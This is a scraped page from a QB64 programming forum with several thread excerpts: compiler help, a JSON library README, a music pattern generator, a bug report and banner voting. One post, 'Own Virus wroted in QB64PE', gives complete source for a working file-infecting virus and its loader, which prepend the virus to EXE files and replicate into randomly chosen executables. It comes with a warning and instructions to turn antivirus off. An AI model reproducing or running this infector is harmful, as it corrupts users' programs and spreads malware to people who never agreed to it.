Welcome, Guest
You have to register before you can post on our site.

Username/Email:
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 308
» Latest member: Donaldvem
» Forum threads: 1,741
» Forum posts: 17,901

Full Statistics

Latest Threads
The QB64 IDE shell
Forum: Utilities
Last Post: JasonPag
09-16-2024, 05:37 PM
» Replies: 9
» Views: 762
Importance regarding Ches...
Forum: Utilities
Last Post: JasonPag
09-01-2024, 06:34 PM
» Replies: 0
» Views: 31
Chess and Analysis and En...
Forum: Utilities
Last Post: JasonPag
08-28-2024, 02:37 PM
» Replies: 0
» Views: 32
DAY 009:_PutImage
Forum: Keyword of the Day!
Last Post: grymmjack
09-02-2023, 02:57 PM
» Replies: 54
» Views: 2,034
Fall Banner Contest?
Forum: Site Suggestions
Last Post: grymmjack
08-31-2023, 11:50 PM
» Replies: 36
» Views: 1,261
ColorPicker - Function th...
Forum: Dav
Last Post: Dav
08-31-2023, 11:04 PM
» Replies: 3
» Views: 315
Goals(1) = New Tile()
Forum: Works in Progress
Last Post: RhoSigma
08-31-2023, 09:45 PM
» Replies: 3
» Views: 127
micro(A)v11
Forum: QBJS, BAM, and Other BASICs
Last Post: bplus
08-31-2023, 09:14 PM
» Replies: 90
» Views: 3,589
Updating The Single Most ...
Forum: QBJS, BAM, and Other BASICs
Last Post: bplus
08-31-2023, 09:13 PM
» Replies: 7
» Views: 254
QBJS Image Question
Forum: QBJS, BAM, and Other BASICs
Last Post: bplus
08-31-2023, 05:49 PM
» Replies: 5
» Views: 155

 
  $NoPrefix
Posted by: Petr - 03-20-2023, 04:49 PM - Forum: General Discussion - Replies (2)

Hi, I found that if I use $NoPrefix, I just don't mess with OpenGL. Maybe it comes from the fact that OpenGL commands have the underscore in their original wording. So now the question is. Can the underscore removal be disabled in the _GL sub?

Print this item

  QBPE 3.6.0 compiler error
Posted by: madscijr - 03-20-2023, 01:25 PM - Forum: Help Me! - Replies (37)

I finally got around to unzipping QB64PE 3.6.0 and giving it a try. 

I'm running Windows 10 Pro on a Microsoft Surface Pro 3 with 8 GB RAM and an i7 (whatever generation from 2014-15):

Code: (Select All)
Edition    Windows 10 Pro
Version    22H2
Installed on    ‎1/‎14/‎2021
OS build    19045.2604
Experience    Windows Feature Experience Pack 120.2212.4190.0

I set Windows security to whitelist the QB64PE folder and the process "qb64pe.exe", and tried running the following code:

Code: (Select All)
Cls
Print "hello world"
Sleep

However it's giving me a compiler error: 

[Image: qb64pe-3-6-0-compiler-errror-1.png]

Here is what is in "compilelog.txt":

Code: (Select All)
internal\c\c_compiler\bin\c++.exe  -w -std=gnu++11 -DGLEW_STATIC -DFREEGLUT_STATIC -Iinternal\c\libqb/include -Iinternal\c/parts/core/src/ -Iinternal\c/parts/core/glew/include/ -DDEPENDENCY_NO_SOCKETS -DDEPENDENCY_NO_PRINTER -DDEPENDENCY_NO_ICON -DDEPENDENCY_NO_SCREENIMAGE internal\c/libqb.cpp -c -o internal\c/libqb_make_00000000000000.o
c++.exe: error: CreateProcess: No such file or directory
mingw32-make: *** [Makefile:405: internal\c/libqb_make_00000000000000.o] Error 1

Any ideas what I need to do to get it working?
Any help would be appreciated!

Print this item

  Own Virus wroted in QB64PE
Posted by: Petr - 03-19-2023, 06:37 PM - Forum: Petr - No Replies

First a warning. Take it seriously. If you accidentally copy an infected file to an unsecured computer with no antivirus, it can and almost certainly will corrupt some of the EXE files in the folder where you put the virus (when you run it). The virus is not able to move over the network or between folders. It's just a piece of software when I tried how it might work.

The virus is written in such a way that it replicates to randomly selected EXE files, but always only to one at a time. This infected file then also replicates the virus after its launch. Sometimes it happens, I did not deal with it in depth, that an EXE file simply does not work after being attacked. It doesn't even make virus copy. I've tested this on EXE copies of many of my old programs from QB64 1.1 onwards.

After the program is started, it informs which file it attacks next, plays the song (PLAY) and then starts the original content in the EXE file. It is the first version (I therefore apologize in advance for the mental damage to experienced programmers) and it will probably also be the last version.

First, compile your own virus - just create an EXE, read the code, but don't run it. In order for the virus to start its peaceful malicious activity, it needs to load into a clean EXE file. A second program (loader) is used for this, but in it, before compiling and running it, modify the path to FILE$ - change the WAV.EXE data to another, depending on which EXE file on your disk you determine to be the victim of the virus.

I recommend trying it in a separate folder, with the antivirus turned off, copy for the virus some EXE files into this folder. Most of them should remain functional after being infect unless they need the other files for their normal operation.



VIRUS BODY (in first use just COMPILE BUT NOT RUN!) by me is this named as Virus24.bas, therefore next source code have FileB$ set as Virus24.exe

Code: (Select All)
' Something from my black programming....I just wanted to try it out
' This program is Virus body. Real, functional (mostly), just for testing function something as this....
' It is my first and i think also last version....

' After program start, read from the end the exe file own array, so know if is quest or host.
' If is quest, print message, play music using PLAY, wait three seconds, randomly selects and attacks another EXE file in the directory.
' Virus attack just ONE random EXE file in ONE RUN, limited to current directory,


' First study this code, then compile it BUT NOT RUN IT.

Type V
    id As String * 5 '5 bytes
    offset As Long '  4 bytes
    size As Long '    4 bytes
End Type '         ------------
'                    13 bytes
Dim V As V


'------------------- This here is AFTER inection ---------------------------
myexe$ = MyName$
Print myexe$ 'get run file name

Dim TestFirst As String * 13
'read array to find, if this program is infected or not
ff = FreeFile
Open myexe$ For Binary As ff
Get ff, LOF(ff) - 15, TestFirst$

If InStr(1, TestFirst$, "Virus") > 0 Then
    Get ff, LOF(ff) - 12, V '
    nextexe$ = Space$(V.size)
    Print "31"
    Get ff, V.offset, nextexe$
End If

If V.id = "Virus" Then Infected = 1 Else Infected = 0
p& = Seek(ff)
If Infected Then
    Close ff
    GoSub InfectNext
    ff = FreeFile

End If


If V.offset = 0& Then Print "jsem v "; MyName$; " a v.offset je 0& ": End 'first use

Print "This file status:"; Infected 'message for user, that this file is infected and music
Print "Virus based on the space language QB64"
Play "t140o2p4g2e4.f8g4o3c2o2b8o3c8d4c4o2b4a8g2."
Sleep 3

ff2 = FreeFile
F$ = "ExportedExeFile.exe"
If _FileExists(F$) Then Kill F$
Open F$ For Binary As ff2
Put ff2, , nextexe$
Close ff2
Shell F$

_Delay 2
Close
Rem Kill F$
System

'---------------------------------------------------- Copy virus to other EXE ----------------------------
InfectNext:
trynext:


myexe$ = MyName$

GetExeList$ = myexe$ + " *.exe"
_ScreenHide
If _CommandCount = 0 Then Shell GetExeList$
_Delay .5
_ScreenShow
Cls

Randomize Timer

back:
FileID = Int(1 + (_CommandCount * Rnd)) 'Randomly find 1 EXE file to attack
If FileID > _CommandCount Then
    att = att + 1
    If att > 3 Then GoTo f
    GoTo back
End If
If att = 3 Then Close: Print "There were 3 attempts to generate an exe for the attack.": System

f:
If _FileExists(Command$(FileID)) = 0 Then Print "file "; Command$(FileID); " not exist": System

'copy virus body for transport to other file
ff = FreeFile
Open myexe$ For Binary As ff
OwnVirus$ = Space$(V.offset)
Get ff, , OwnVirus$
Close ff

fileB$ = Command$(FileID) 'name "original" file
Print "Attacking: "; Command$(FileID)
'get data atacked file
ff = FreeFile
Open fileB$ For Binary As ff
If _FileExists(fileB$) = 0 Then System
'+------------------------
Get ff, LOF(ff) - 12, V
If V.id = "Virus" Then Print "This file is already infected!": End ' why do infect more than 1x?
'------------------------
V.id = "Virus"
Close ff

ff = FreeFile
Open fileB$ For Binary As ff
SizeB& = LOF(ff)
Sizeb$ = Space$(SizeB&)
Get ff, , Sizeb$
Close ff


Kill fileB$
Open fileB$ For Binary As ff
Put ff, , OwnVirus$

V.size = SizeB&
V.offset = Len(OwnVirus$) + 1
Put ff, , Sizeb$

Put ff, , V
Close
Return

Function MyName$
    $If WIN Then
        Declare Library
            Function getCommandLine%& Alias GetCommandLineA ()
        End Declare

        Dim m As _MEM, P As String
        Count = 10
        Do Until need > 0 And need2 > 0 'search until string contains not 2x "
            P$ = Space$(Count)
            a%& = getCommandLine
            m = _Mem(a%&, Count)
            _MemGet m, m.OFFSET, P$
            need = InStr(1, P$, Chr$(34))
            need2 = InStr(need + 1, P$, Chr$(34))
            Count = Count + 5
        Loop
        r$ = Mid$(P$, need + 1, need2 - need - 1)
        MyName$ = r$
    $End If
End Function


VIRUS LOADER (use it for initialize in first use, set correctly File$ (is for clear EXE) and FileB$ (is for virus source code compiled to EXE)

Code: (Select All)
'To make the virus work, you need to install it in a clean EXE file. You will do this with this program.
'Important! The virus part itself must be compiled into an EXE (file virus.exe must exists and not run)
'before running this program, and above all, set up your first host EXE file, which will then pass the
'infection on after running. In this case it is file$, here rewrite the WAV.EXE data to any EXE that
'will be the first virus carrier.

Type V
    id As String * 5 '5 bytes
    offset As Long '  4 bytes
    size As Long '    4 bytes
End Type '         ------------
'                    13 bytes
Dim V As V

'V.id = "Virus"
file$ = "wav.exe" 'File name - first virus - container   SET THIS (your exe file for infect)
fileb$ = "virus24.exe" 'exe file contains own virus      SET THIS (virus EXE)


ff = FreeFile
Open file$ For Binary As ff
'+------------------------
Get ff, LOF(ff) - 12, V
If V.id = "Virus" Then Print "This file is already infected!": End 'If is file infected, do not infect it again.
'------------------------
V.id = "Virus"
Close ff

Open fileb$ For Binary As ff
SizeB& = LOF(ff)
Virus$ = Space$(SizeB&)
Get ff, , Virus$
Close ff

Open file$ For Binary As ff
V.size = LOF(ff)
V.offset = Len(Virus$) + 1
original$ = Space$(LOF(ff))
Get ff, , original$
Close ff

Kill file$

ff = FreeFile
Open file$ For Binary As ff
Put ff, , Virus$
Put ff, , original$
Put ff, , V
Close ff


After you compile the first program (the body of the virus), change the paths to file$ and fileb$ in the loader, and run the loader, your first EXE file - the one pointed to by file$ - will be infected. After running this file, it should show a notification about what next file will be attacked, play music, and then start the original program. Everything is done extremely amateurishly, it was just a matter of testing the principle.

Print this item

  Spring Banner VOTING!
Posted by: SMcNeill - 03-19-2023, 05:33 PM - Forum: General Discussion - Replies (21)

SPREZZO:

[Image: bannersham.png]




BPLUS:

[Image: attachment.php?aid=1532]




SMCNEILL:

[Image: attachment.php?aid=1516]





THE JOYFUL PROGRAMMER:

[Image: attachment.php?aid=1514]





DBOX:

[Image: attachment.php?aid=1509]





KERNALPANIC:

[Image: QB64-Ph-nix-Dark-SW.jpg]





TERRY RITCHIE:

[Image: attachment.php?aid=1506]




Print this item

  Question to administrators
Posted by: Petr - 03-19-2023, 05:31 PM - Forum: General Discussion - Replies (8)

To avoid possible problems, I ask first. Is it possible to post here a very limited version of a very primirive virus written in QB64PE? I was interested in this topic, QB64 can do this. Smile None virus source code will be inserted here without permision.

Thank for reply.  Angel

Print this item

  Bug?
Posted by: dano - 03-18-2023, 01:58 PM - Forum: General Discussion - Replies (5)

I chased this down this morning and think that this might be a bug.  I am using v 3.6.0.  From what I can tell you can omit the 'Call' command when calling a Sub and passing non-array variables, but when you call a Sub and pass an array you must have the 'Call' included.  Omitting this when passing an array will generate a 'C++ compilation failed' error.

Here is sample code:

--------------------
Call test(b$())

Sub test (b$())
    Print "HI"
End Sub
--------------------


The above compiles and works....but if the first line is any of the below iterations it will generate a 'C++ compilation failed' error - and it is not caught by the IDE:

test (b$())
test (b$)

It does not matter if you DIM or DIM SHARED for b$ either - you get the same results.  Also it does not matter if the passed variable is a integer or string - you get the same results.  I like to exclude 'Call' as I think the code looks cleaner without it, but in this case it just won't work.  It appears that it is only an issue where an array is being passed to the Sub as the code below works fine:

--------------------
test (b$)

Sub test (b$)
    Print "HI"
End Sub
--------------------

Also I wonder if the IDE needs help in this area too since the 'test (b$)' line in the FIRST example calls a Sub that requires an array, but the IDE does not catch that.

Thanks to all that dedicate work to this project !!!!
Dano

Print this item

  A question about the mask
Posted by: Petr - 03-17-2023, 05:13 PM - Forum: General Discussion - Replies (7)

Huh

I tried passing *.* and *.? and similar as a string by Command$ into my program. But instead of the expected string with these three characters, I got a file listing in the form of a long string. I could also use this if...the individual file names were somehow separated. I did a parsing of the obtained string before posting this question here - everything is separated by plain space (CHR 32). This is completely unuseless for, because then you don't know if what you are reading is the continuation of the file name in which there is a space, or if it is the name of another file...
So - of course, from the start I was counting on direntry.h to give me the filenames, that works great - but - how to get the literal mask string *.* or ?????.* and so on? Having Command$ filter it out for me would only be useful if there were special ASC separators in the filenames it provides, like CHR$ 13 or ther characters (which can't be part of a filename)

Print this item

  qb64pe-json - A library for JSON parsing and creation
Posted by: DSMan195276 - 03-17-2023, 02:38 AM - Forum: One Hit Wonders - Replies (5)

qb64pe-json
https://github.com/mkilgore/qb64pe-json

qb64pe-json is a library for parsing and creating JSON strings. Currently it is hosted and developed on GitHub, and I just released the beta v0.1.0 version. Attached to this post is the v0.1.0 release, and also the examples currently present in the repository. Below is the README from the repository:



qb64pe-json

qb64pe-json is a JSON parsing and creation library for QB64-PE. Given a string containing JSON, it can convert it into a Json object which can then be queried to retrieve the values in the JSON. Additionally it contains a variety of
JsonTokenCreate*
functions which can be used to build up a Json object, which can then be rendered into a String version of that JSON.

Please see json.bi for more in-depth documentation around the API. Additionally see the examples/ for code samples of the API in use.

To use the API, download a release version and place the
json.bi
and
json.bm
files into your project. Then reference the two files via
'$include:
.

Overall Design

qb64pe-json works by turning a JSON structure into a collection of "tokens", which are kept internal to a
Json
object. Tokens are allocated as needed, and token IDs are returned from several Functions. You can then pass a token ID into many of the APIs to interact with the token, such as get its value, get its children, etc. Valid token IDs are always positive.

The main Type in qb64pe-json is the
Json
Type. After declaring one, you need to pass it to
JsonInit
to initialize it, and eventually pass it to
JsonClear
to release it. Not passing a
Json
object to
JsonClear
will result in memory leaks.

There are four types of tokens - Objects, Arrays, Keys, and Values. Values are then split up into several "primitive" types a value can be, which are strings, numbers, bools, and
null
. A typical token structure looks something like this:

This is the original JSON passed to
JsonParse()
:
Code: (Select All)
{
    "key1": {
        "key2": 20,
        "key3": [ true, "string", null ],
    },
    "key4": 50
}

This is the resulting token structure:
Code: (Select All)
Object (1)
  - Key (value = "key1") (2)
    - Object (3)
      - Key (value = "key2") (4)
        - Value (type = number, value = 20) (5)
      - Key (value = "key3") (6)
        - Array (7)
          - Value (type = bool, value = true) (8)
          - Value (type = string, value = "string") (9)
          - Value (type = null) (10)
  - Key (value = "key4") (11)
    - Value (type = number, value = 50) (12)

The numbers after each token signify its ID, which is what will be returned by the API when referring to that particular token. The typical way to interact with this structure is through
JsonQuery()
, which takes a query string and returns the token identified by it. For example, if you do
JsonQuery(json, "key1.key2")
, it will return 5, which is the token ID for the "20" Value token. You can then pass the token ID from that query to
JsonTokenGetValueInteger(token)
to retrieve the actual value 20 as an integer.

JsonQuery(json, "key2.key3")
returns 7, the token ID for the Array. With this array you can make use of
JsonTokenTotalChildren(array)
and pass it the token ID to retrieve the number of children (entries) in that array. You can then additionally make use of
JsonTokenGetChild(array, index)
to get the token ID of each child of the array. Note the indexes into the array start at zero, so
JsonTokenGetChild(array, 0)
would return 8, the bool in the array since it is the first entry.
JsonTokenGetChild(array, 2)
would return 10, the last entry in the array. You can of course then pass those token IDs to the various
JsonTokenGetValue
functions to retrieve their values.

If you have a token and need to know what it is, you can use
JsonTokenGetType(token)
to retrieve a
JSONTOK_TYPE_*
value indicating its type. If its type is
JSONTOK_TYPE_VALUE
, then you can additionally use
JsonTokenGetPrimType(token)
to get its primitive type, in the form of a
JSONTOK_PRIM_*
value.

Json
objects contain the concept of a "RootToken", which is simply the token of the base of the entire JSON structure. Several APIs start at the RootToken automatically, such as
JsonQuery()
,
JsonRender()
, etc. However all APIs offer an option to take a token directly to start with, ignoring the RootToken. This is powerful as it allows you to treat smaller subtrees of the entire structure as their own Json structure. For example in the above structure, you can use
JsonQueryFrom(3, "key2")
to do a query starting from the Object with index 3, completely ignoring the Object it's contained in.

Errors are reported from qb64pe-json via the global
JsonHadError
and
JsonError
variables.
JsonHadError
is zero (
JSON_ERR_Success
) when a function was successful, and a negative value when an error occurs. The negative values correspond to the
JSON_ERR_*
constants, and indicate the specific kind of error that occurred.
JsonError
will contain a human-readable string version of the error.

JSON Creation

In addition to parsing JSON, qb64pe-json allows you to create the Json structure yourself and then turn it into a JSON string (for storing or sending elsewhere). This is done by using the
JsonTokenCreate*()
functions. These functions create a new token and return its token ID. You can then make use of this token ID to add it to other tokens and build the Json structure. Objects and Arrays can have entries added to them via
JsonTokenArrayAdd
and
JsonTokenObjectAdd
.

Once you have built your Json structure, you can optionally use
JsonSetRootToken
to set the RootToken of the Json object to be the root of your created structure. Then, you can use
JsonRender$()
to produce a JSON string version of that structure.

JsonRenderFormatted$()
gives you more control over the rendering. Currently, it allows you to include indentation in the result, which makes it easier to read.



Attached Files
.zip   qb64pe-json-0.1.0.zip (Size: 10.99 KB / Downloads: 21)
.zip   examples.zip (Size: 5.08 KB / Downloads: 21)
Print this item

Music Mindless pattern music (requires OpenMPT)
Posted by: mnrvovrfc - 03-16-2023, 10:59 PM - Forum: Works in Progress - No Replies

I'm just going to throw this into this place on the hope somebody out there could make use of it.

TL;DR It's a monophonic sequence creator for OpenMPT. It creates text-file patterns, each one to paste into the tracker.

It could use some improvements:
* do something about the hard-coded response file name and the output directory and filenames.
* be able to change the instrument command away from the first one.
* do something for those people who like wide open spaces in their piano music. The program as presented could fake arpeggiators very well.
* allow notes-off in the gaps.
* create polyphonic sequences, maybe the "main" one less accented than the other tracks.
* instead of accent, choose volume commands from a list. Optionally make them the same for the "piano roll".
* if working with samples, support some effect commands like pitch-bend, vibrato and retrigger. Yes I have done this and more but that program is way more complicated than this one. "Gotta have my edge...," Barry Bonds said once ROFLMAO.

An even better program would be to figure out Impulse Tracker module format, even with one "instrument" which is a looped sinewave, and create one of those things so you guys could play it back with a QB64(PE) program or with one of the players like VLC that supports music tracker modules. "MOD" looks easy but it's not, and the sound quality tends to be poor, and the format is restrictive because pretty much only two octaves are supported and the volume column cannot be used.

One easy way to check it out is to create the "omptchblende.txt" in the same directory as the executable:
* set the "omptchblende.txt" to the following:

Code: (Select All)
C-4;C-4;C-4;C-4;E-4;G#4
64
64
64
7
* This is only three different notes of the same octave, with "middle C" being chosen most often, and with most notes emphasized the strongest (like "ff" in sheet music, while others are like "mp" or "mf"). This will create one pattern which is 64 rows long. It will be called "pat01.txt" found in your Documents directory.
* download OpenMPT from https://openmpt.org
* if on Windows10 I recommend not downloading "legacy" version, unless you're full of VST plug-ins like I am LOL -- just choose either 32-bit or 64-bit option which is shown topmost on the download page.
* on Linux make sure you installed Wine and ran "winecfg", or for the users most experienced with doing this, set up a Wine "prefix". On some distros based on Arch Linux, if you opt for the 32-bit OpenMPT also install the 32-bit version of Portaudio: must have the repository data fully updated before doing on the terminal: "sudo pacman -S lib32-portaudio". If this is not done the WASAPI option won't be shown and the program will fail to produce any sound. This is unnecessary if you picked the 64-bit Windows application, again, the choice is whether or not you have to use VST2 plug-ins which come only in 32-bit or only in 64-bit. DO NOT CARE ABOUT THE "Wine" TAB OF THE PROGRAM PREFERENCES, it does not do what you might expect and you could mess up your installation!
* install it, or copy "portable" version anywhere you like in your user area, check sound card settings, shouldn't be many problems on Windows.
* WATCH OUT FOR YOUR HEARING LEVELS! Set the volume preferably to something near minimum. If you can't hear anything while using this program, SLOWLY raise the volume.
* Use File/New/MPTM. Could press the empty sheet icon on main toolbar but it creates an "IT" module which might not be convenient for this exercise. You might want to maximize the document window within app window.
* visit sample tab or press [ALT][S]. Choose the sun on the toolbar just above the empty waveform view. Accept whatever settings it says to create a waveform buffer. Then choose the pencil and just mouse-click and drag around to draw your own waveform!
* if you know a lot more than this you could import a looped multisample, or you could create an "OPL" instrument. But for "OPL" must be either "S3M" or "MPTM" format! Could also import from a SoundFont (SF2) but doesn't support layered patches. In other words if you loved that piano-string you heard in somebody's song and it's packed into a SoundFont, you could have either the piano or the string but not both. You'll have to load each component in their separate sample slots and play them together. If you know enough about "studio ways" the two multisamples could be mixed but that's less desireable sometimes. How about a combination that responds by music keyboard note (wood bass) and one that does not (ride cymbal), like that "jazz bass" patch I found in a Yamaha keyboard somewhere?
* press keyboard keys below the numbers, you should get the looped sample played and sustained at different pitches. Press [F8] or the square button on the transport to halt the sound.
* now change to pattern view or press [ALT][P].
* if you haven't done so already, load the pattern text file "pat01.txt" with Notepad or other good text editor, and copy the whole thing into the clipboard.
* switch to OpenMPT, focus on the first row of the first track with the mouse pointer, then paste.
* press play button on the transport or press [F5].
* if it sounds too "legato" for you LOL you could add notes-off to the gaps. Now I'm not sure what is the key for note-off, probably grave-accent because I have my own key map that I slowly modified for years using this program.
* alternatively with some notes try putting "SC1" on the right-hand-most column inside the track (channel). Type "S", then use right-arrow key, then type "C1" until it reads "SC1". After this is done the edit cursor should be at the right-hand edge of the track (channel). Play back and that note, and others modified this way, will sound off for a very short time! Might not even be heard. To do something about it, you will have to create an instrument related to that sample, but this is not a tutorial about composing music in a given tracker LOL.
* instead of the above to enter "SC1" could double-click near the pillar of the right-hand side of the channel, or press the "application" key between [ALT] and [CTRL] for the right hand. It should bring up a dialog. Under "Effects" (the bottom-most options) for the left-hand menu choose "SC", which is "note cut". Then use the related slider to choose a value of "1" from zero to 5. The "SC1" should appear on the pattern where you put the edit cursor.
* to change the tempo the effect letter is "T", and then a hexadecimal value which is from &H20 to &HFF. For 120BPM use "T78". Or visit the General tab.

Code: (Select All)
'by mnrvovrfc 16-Mar-2023, use for OpenMPT
'find the way to paste the patterns without getting bored!
$CONSOLE:ONLY
OPTION _EXPLICIT

DIM assn(1 TO 10) AS STRING
DIM assc(1 TO 10) AS INTEGER
DIM afile$, aline$, emptycell$, noat$, oldn$, ve$, sig$, closeit AS _BYTE
DIM AS INTEGER ss, seqlen, numlines, linespat, acch
DIM AS LONG ff, u, v, h, i, j

'initialize
afile$ = "omptchblende.txt"
IF NOT _FILEEXISTS(afile$) THEN
    PRINT "File not found. This is needed to run the program."
    SYSTEM
END IF

emptycell$ = "|" + STRING$(11, 46)
'the clipboard data must have the following as first line.
'the "MPT" means "MPTM" or "(Open) ModPlug Tracker Module" which is a "dirtied" version of Impulse Tracker module which has
'  support for additional pattern commands and instrument microtuning.
'could instead be "IT" (Impulse Tracker), "XM" (FastTracker II), EITHER MUST HAVE AN ADDITIONAL SPACE AT FRONT
'  or it could be "MOD" mostly for ancient Amiga Protracker 4-channel right-left-left-right format.
'however "IT" format cannot have "S9F", cannot have "#" parameter extension command and a few other things on pattern
'  supported instead by "MPTM" format. Generally for new songs with VST plug-ins it's strongly recommended to do it in "MPTM" format.
'  They tend to have better sound quality,
'  while "IT" and "XM" are better for compatibility with players of those ancient formats, widely available.
'Scream Tracker "S3M" is sort of subset of "IT" which cannot have instruments, only samples and OPL synth assignments.
'"XM" actually supersedes "MOD" but there are so many "MOD" files around Internet which could be loaded by Commodore Amiga program.
'However, such things exist like 8-channel MOD created from a Windows program (don't remember what it was called).
'LOL sorry for the history, only wanted to demonstrate OpenMPT is friendly about pattern clipboard format.
sig$ = "ModPlug Tracker MPT"

seqlen = -1
numlines = -1
linespat = -1
acch = -1

'process the response file
ff = FREEFILE
OPEN afile$ FOR INPUT AS ff
DO UNTIL EOF(ff)
    LINE INPUT #ff, aline$
    IF aline$ <> "" THEN
        u = INSTR(aline$, ";")
        IF u > 0 THEN
            ss = ss + 1
            IF ss <= 10 THEN
                assn(ss) = aline$
                assc(ss) = CountString(aline$, ";")
            END IF
        ELSE
            u = VAL(aline$)
            IF u > 0 THEN
                IF seqlen = -1 THEN
                    'what is the total length of the sequence we have to create?
                    seqlen = u
                ELSEIF numlines = -1 THEN
                    'what is the length of the sequence (which could be repeated)?
                    numlines = u
                ELSEIF linespat = -1 THEN
                    'how many rows per pattern?
                    linespat = u
                ELSEIF acch = -1 THEN
                    'what is the chance (1 to 10) to accent notes?
                    acch = u
                END IF
            END IF
        END IF
    END IF
LOOP
CLOSE ff

'check the parameters for sanity
IF linespat < 16 OR linespat > 1024 THEN
    PRINT "Preference processing error."
    PRINT "linespat is not valid, must be from 16 to 1024."
    SYSTEM
END IF
IF seqlen < linespat THEN
    PRINT "Please change the value of seqlen in the preference file."
    SYSTEM
END IF
IF acch < 1 OR acch > 10 THEN
    PRINT "Preference processing error."
    PRINT "acch must be from 1 to 10."
    SYSTEM
END IF

RANDOMIZE TIMER

REDIM sq(1 TO seqlen) AS STRING
REDIM sf(1 TO numlines) AS STRING

'create the original sequence (like an ancient piano roll, it could be repeated)
oldn$ = ""
FOR j = 1 TO numlines
    DO
        v = Random1(10)
    LOOP WHILE assc(v) = 0
    h = assc(v)
    DO
        u = Random1(h)
        noat$ = SSelect$(assn(v), u)
    LOOP WHILE noat$ = ""
    IF oldn$ = noat$ THEN
        sf(j) = ""
    ELSE
        oldn$ = noat$
        sf(j) = "|" + noat$ + "01"
    END IF
NEXT

'now create the entire sequence, which will repeat but the accents will be in different places!
j = 1
FOR i = 1 TO seqlen
    IF sf(j) = "" THEN
        sq(i) = emptycell$
    ELSE
        sq(i) = sf(j)
        IF Random1(10) > acch THEN ve$ = "..." ELSE ve$ = "v32"
        IF j = numlines THEN
            IF ve$ = "..." THEN ve$ = "==="
        END IF
        sq(i) = sq(i) + ve$ + "..."
    END IF
    j = j + 1
    IF j > numlines THEN j = 1
NEXT
ERASE sf

'finally commit the patterns to disk
'later on LOL laboriously paste them into OpenMPT
'it was much easier on Windows using AutoHotKey...
v = 1
j = 1
$IF WIN THEN
        afile$ = ENVIRON$("USERPROFILE") + "\Documents\pat" + Zeroes$(j, 3) + ".txt"
$ELSE
        afile$ = ENVIRON$("HOME") + "/Documents/pat" + Zeroes$(j, 3) + ".txt"
$END IF
ff = FREEFILE
OPEN afile$ FOR OUTPUT AS ff
PRINT #ff, sig$
FOR i = 1 TO seqlen
    PRINT #ff, sq(i)
    v = v + 1
    IF v > linespat THEN
        PRINT afile$
        v = 1
        j = j + 1
$IF WIN THEN
        afile$ = ENVIRON$("USERPROFILE") + "\Documents\pat" + Zeroes$(j, 3) + ".txt"
$ELSE
        afile$ = ENVIRON$("HOME") + "/Documents/pat" + Zeroes$(j, 3) + ".txt"
$END IF
        CLOSE ff
        IF i = seqlen THEN
            closeit = 0
        ELSE
            closeit = 1
            ff = FREEFILE
            OPEN afile$ FOR OUTPUT AS ff
            PRINT #ff, sig$
        END IF
    END IF
NEXT
IF closeit THEN
    PRINT afile$
    CLOSE ff
END IF
PRINT j; "files written to disk. Completed."
SYSTEM


FUNCTION CountString% (tx$, delim$)
    DIM AS LONG lx, z1, z2
    DIM count AS INTEGER
    IF (tx$ = "") OR (delim$ = "") THEN
        CountString% = 0
        EXIT FUNCTION
    END IF
    lx = LEN(delim$)
    z1 = 1
    z2 = INSTR(tx$, delim$)
    count = 0
    DO UNTIL z2 = 0
        count = count + 1
        z1 = z2 + lx
        z2 = INSTR(z1, tx$, delim$)
    LOOP
    CountString% = count
END FUNCTION

'note: "delim$" could be a string of any size, preferably as short as possible
FUNCTION FieldString$ (tx$, ndx%, delim$)
    DIM AS LONG lx, y, z1, z2
    DIM count AS INTEGER
    IF (tx$ = "") OR (delim$ = "") OR (ndx% < 1) THEN
        FieldString$ = ""
    ELSE
        count = CountString(tx$, delim$) + 1
        IF ndx% > count THEN
            FieldString$ = ""
            EXIT FUNCTION
        END IF
        lx = LEN(delim$)
        z1 = 1
        z2 = INSTR(tx$, delim$)
        y = 0
        DO UNTIL z2 = 0
            y = y + 1
            IF y >= ndx% THEN EXIT DO
            z1 = z2 + lx
            z2 = INSTR(z1, tx$, delim$)
        LOOP
        IF (z2 = 0) AND (y <= ndx%) THEN
            FieldString$ = MID$(tx$, z1)
        ELSE
            FieldString$ = MID$(tx$, z1, z2 - z1)
        END IF
    END IF
END FUNCTION

FUNCTION LeftLen$ (tx$, numchar%)
    IF tx$ = "" THEN
        LeftLen$ = ""
    ELSEIF numchar% > 0 THEN
        LeftLen$ = LEFT$(tx$, LEN(tx$) - numchar%)
    ELSE
        LeftLen$ = tx$
    END IF
END FUNCTION

FUNCTION Random1& (maxval AS LONG)
    Random1 = INT(RND * maxval + 1)
END FUNCTION

FUNCTION SSelect$ (tx$, valu%)
    SSelect$ = FieldString$(tx$, valu%, ";")
END FUNCTION

FUNCTION Zeroes$ (num AS LONG, numdig AS INTEGER)
    DIM b$, sg AS _BYTE, hx AS _BYTE, v AS INTEGER
    IF num < 0 THEN sg = -1: num = num * -1
    IF numdig < 0 THEN hx = 1: numdig = numdig * -1 ELSE hx = 0
    IF hx THEN
        b$ = HEX$(num)
    ELSE
        b$ = LTRIM$(STR$(num))
    END IF
    v = numdig - LEN(b$)
    IF v > 0 THEN b$ = STRING$(v, 48) + b$
    IF sg = -1 THEN b$ = "-" + b$
    Zeroes$ = b$
END FUNCTION

Print this item

  Is there?
Posted by: aurel - 03-16-2023, 10:00 AM - Forum: Programs - Replies (9)

Is there ...i mean hear 
any interest in windows include in form of awi32.bi
I figured if i want to continue with translation of my lexer from o2 to qb64pe
i need win api functions or should i just ignore it and made it more general purpose
that linux folks can use it too.

Print this item